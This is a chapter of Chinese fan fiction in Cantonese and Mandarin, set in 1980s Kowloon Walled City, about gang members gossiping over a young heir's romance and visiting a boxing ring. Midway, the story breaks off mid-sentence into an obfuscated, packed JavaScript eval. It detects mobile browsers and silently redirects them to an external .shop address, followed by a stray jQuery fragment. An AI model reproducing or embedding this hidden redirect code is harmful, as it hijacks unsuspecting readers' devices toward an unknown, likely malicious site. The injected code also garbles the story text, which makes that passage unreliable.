人一天的时间就只有二十四个小时,被一个人占据了,留给其他人的势必少上许多。
如此“深奥”的道理,是梁俊义最近才深恶痛绝地领悟出来的。
明明在中环的茶餐厅,在跑马地的咖啡店,两人的关系有了飞跃式的进步。
可也没人告诉他,飞跃后就会啪嗒一声落在地上。
他现在想找阿妹却发现比飞跃前要难上许多。
也不是阿妹的问题,主要是提子总会出现在阿妹的身边。
他还记得那天他兴致冲冲地来医馆,取走自己上次遗落的长裤。
老实讲,其实回去后,他也曾为这条裤子担忧过。
但想来想去,最后还是决定破罐子破摔——要是被人发现,那就干脆被Tiger哥揍一顿,然后与阿妹告白好了。
所想的一切都没有发生,好的结果,坏的结果通通变成了平淡的现实。
没有tvb里的狗血情节,裤子好好地在医馆待了四天,然后等到了它的主人。
梁俊义拿完裤子,本来想顺手帮阿妹打扫下医馆的卫生,却被拒绝了。
说是得放着。
垃圾为什么还要放着?
梁俊义不解,但很快迎来了答案。
提子推门走了进来,看到他后打了声招呼,然后自然地去拿清扫工具。
一边打扫卫生,一边还不忘跟他寒暄。
“十二少,好耐冇见啦。近排去信一哥度,好少撞到你。”(...好久没见啦,最近去信一那也好少见到你。)
梁俊义笑着说自己在忙。
提子笑了下,也不再应声。
医馆安静了下来,可氛围却让梁俊义如坐针毡。
今天也没有中药碗等待晾凉。
他看着提子在打扫卫生,阿妹在柜台处理药材。
突然觉得自己有些多余。
等起身要走的时候,提子相送,笑着打趣道,“十二少,唔坐多阵再行咩?睇你个样,好事近啦系咪?”
(不再多坐一会吗?看你的样子,是不是好事将近啦?)
梁俊义有些莫名其妙,但看着提子的眼神又好像是在单纯八卦。
他抑制住自己下意识想看向阿妹的眼神,胡乱摆了摆手,径直离开了。
白里听着铜铃声响的声音抬起头时,看到的就只有已经低头在打扫卫生的提子。
心底以为是自己不知道的八卦,还有几分好奇,“佢有咩喜事呀?快啲讲畀我听下。”(...讲给我听下。)
提子连头都没抬,声音压低小声了许多。
“十二少呢排成日往城寨跑。大家都话佢肯定系追紧边个女仔,好事近啦。不过佢呢种太子爷...”
(他天天往城寨跑,大家都说他肯定在追哪家女仔。不过他那种太子爷...)
话欲言又止,但大概又觉得此刻没旁人,没什么别的不能说,于是又继续开口。
“兄弟仲笑佢哋,话‘你睇住啦,呢啲太子爷换女快过换衫,追到手唔够两个月就厌?啦’。”
(兄弟们笑话他们,说‘你看好了,那种太子爷换女朋友比换衣服都快,追到手不够两个月就厌倦了。’)
“佢哋仲开盘口赌佢几耐会飞咗个女仔。几多岁人啦,仲咁幼稚。”
(他们还开盘口赌他几时会甩掉那个女仔。一群都几岁的人了,还这么幼稚。)
白里安静地听着,问了句,“你冇落注赌嘢啊?”(你没赌吧?)
提子笑眯眯地摇了下头,三两下扫完地,凑了过去,分享着兄弟们的点评和想法。
“就算嗰太子爷有几钟意,大佬一句话落嚟,佢连企出嚟为嗰女仔讲句说话都未必敢。”
(就算太子爷确实喜欢,大佬一句话落下来,他连出来为女仔讲句话都不一定敢。)
“讲到底,佢享受紧嘅所有嘢都系大佬畀嘅。车系大佬嘅,钱系大佬嘅,连条命都系大佬嘅。佢有咩资格同大佬讲条件?”
(说到底,他享受的所有的东西都是大佬给的。车是大佬的,钱是大佬的,连自己的命都是大佬的。他有什么资格和大佬讲条件啊?)
白里看着提子脸上的神情,没发现有什么奇怪的地方。
他这么说,是因为真真切切的这么想。
“我仲以为你哋个个都好敬重十二少,估唔到私底下系咁评价佢??”(我还以为你们个个都敬重十二少,结果私底下这么评价啊?)
提子耸了下肩,拍了拍手上的灰,顺手拿起一旁的抹布,边打扫边讲。
“讲穿嗮,古惑仔都只系一份差事,我哋无非都系揾啖饭食。中环啲光鲜体面人,唔一样要当面恭恭敬敬对住老细?”(说白了,古惑仔也只是份工作,我们也只是为了吃口饭。那些在中环工作的体面人,不也得表面上敬重老板吗?)
“你哋都系咁睇信一哥??”(你们也是这样看信一哥的啊?)
白里是真的好奇。
她从前以为底下的小弟对于城寨四少都是纳头就拜的,没想到其实也有着自己的评价和心思。
想来也是,这里是城寨,不是庙街。
真以为两龙头关系好,头马关系也好,底下的小弟们就得跟木偶一样也觉得好吗?
提子原本脸上八卦着的轻松表情消失不见,连连摆手地凑过来,慌张但认真的解释。
“信一哥够晒重情重义,边个都比唔上佢。我...”(信一哥重情重义,哪个都比不上他。我...)
于是,原本八卦的话题,变成了从提子这儿听他吹嘘蓝信一的十八般武艺。
白里听到最后都想捂住耳朵。
“得啦得啦,知你同大佬最老友,收声啦提子师傅。”
(知道啦知道啦,知道你和你大佬关系好啦,别念了,提子师傅。)
提子这才意犹未尽地住嘴。
临了还不忘补了脚,“庙街嗰边仲有人话,虎哥已经听到风声,但未出声住。因为知佢个性格,三分钟热度,唔使阻佢,过几日自己就厌啦。”
(庙街那边有消息传,虎哥已经听到了这件事,但没叫停。因为知道太子爷的性格啦,三分钟热度,不用阻挡他,过几天自己就厌弃了。)
八十年代的九龙城寨也有毒唯啊?
表情管理从来都是拿A+的白里笑了下。
这个问题多聊多错,她也没心思想这件事。
于是转到了这几日的行程,问提子能不能下班后不去街市买菜,她想直接回屋休息。
提子放下抹布,想了想解释说家里的菜不多了。
然后看着白里抿嘴不说话的神情,沉默片刻后叹了口气。
“再挨多几日就得,好唔好?”
还没等白里回答,陈伯推门
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17739217|204882||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
走了进来。
医馆又重新恢复了忙碌。
-
梁俊义出了门,犹豫了会儿,还是决定去找信一和四仔打牌。
可折腾了半天,总是三缺一,实在是凑不齐人。
三个人坐在麻将桌旁面面相觑。
“唔好叫阿强过嚟顶脚?”(不如让阿强过来?)
梁俊义拒绝:“唔得,条仔一见到我哋就偷偷喂牌,打起身冇瘾。”(那小子一见你们就暗戳戳喂牌,打的不尽兴。)
“咁烧腊铺李伯咧?”
蓝信一拒绝:“唔得,佢打牌劲到爆,我哋三个夹埋都赢唔到佢。”(他打牌太厉害,咱们三连手都打不过。)
“咁提子?”
蓝信一/梁俊义:“唔得。”
四仔骂骂咧咧地走了。
徒留下两人各自摸了摸鼻子,相顾无言。
闲着也是闲着,蓝信一便抓梁俊义一同去黑拳场巡逻,顺带看看有没有好苗子。
龙城帮对城寨的管辖力度不需多言,而城寨里的偷渡客也是卧虎藏龙,所以这地方纷争一向激烈。
但好在今日无事,两头马找了个无人的好位置,看着下面的猪笼擂。
拳拳到肉,以血还血,以牙还牙。
但也毕竟不是死擂,看着看着就容易觉得无聊。
“近排听讲果栏嗰边黑拳场出价好高,仲拉拢咗几个蛇头,你就任由佢哋抢晒城寨嘅生意啊?”
(最近听说果栏的黑拳场出价很高,还拉拢了几个蛇头,你就任由他们抢城寨生意?)
蓝信一头都没回,显然早就对此事了解。
“嗰便大老板根本唔将打仔当人,碎玻璃、阴招样样都唔禁止。打拳唔讲规矩,龙哥话佢哋迟早闯出大祸。”
(大老板不把打手当人,阴招都不禁止。打拳不讲规矩,龙哥说他们迟早闯大祸。)
“都系。诶,对咗,城寨入面有冇人识神打??”
(也是,对了,城寨里面有没有人会神打的啊?)
蓝信一挑眉,有些不解地看了过去。
“冇听讲过。你而家先谂住转打法,唔系太迟咗?点解唔去问Tiger哥?”(没听过,你现在转打法,是不是太迟了?怎么不去问大佬啊?)
然后看着梁俊义欲言又止的衰样,笑着应了下来。
“好啦,迟啲我帮你留意下。个窗口好跳唔好跳啊?”
话风转换太快,连脸上的笑容都还没收起来。
?
梁俊义猛地回头,眉毛都拧在了一起,“丢,你系鬼嚟??呢啲你都知...”
回答还没说完,下一句话就已经像鬼一样缠了上来。
“带阿妹去边度玩?”
梁俊义沉默,梁俊义疑惑,梁俊义不解。
“中环...俾人撞见咗?”(...被人看见了?)
“估到嘅。巷口睇水手足话冇。”(猜到的。守巷口的小弟说没有见到。)
蓝信一看了眼时间,起身伸了个懒腰。
“唔倾啦,到我搵阿妹攞药嘅时候,你一齐去?”(不聊了,到我去找阿妹拿药的时候。你要不要一起去?)
收获了梁俊义的一根中指。
蓝信一笑着,没多时就离开了拳场。
徒留梁俊义站在原地,沉默地看着底下仍热火朝天的拳赛。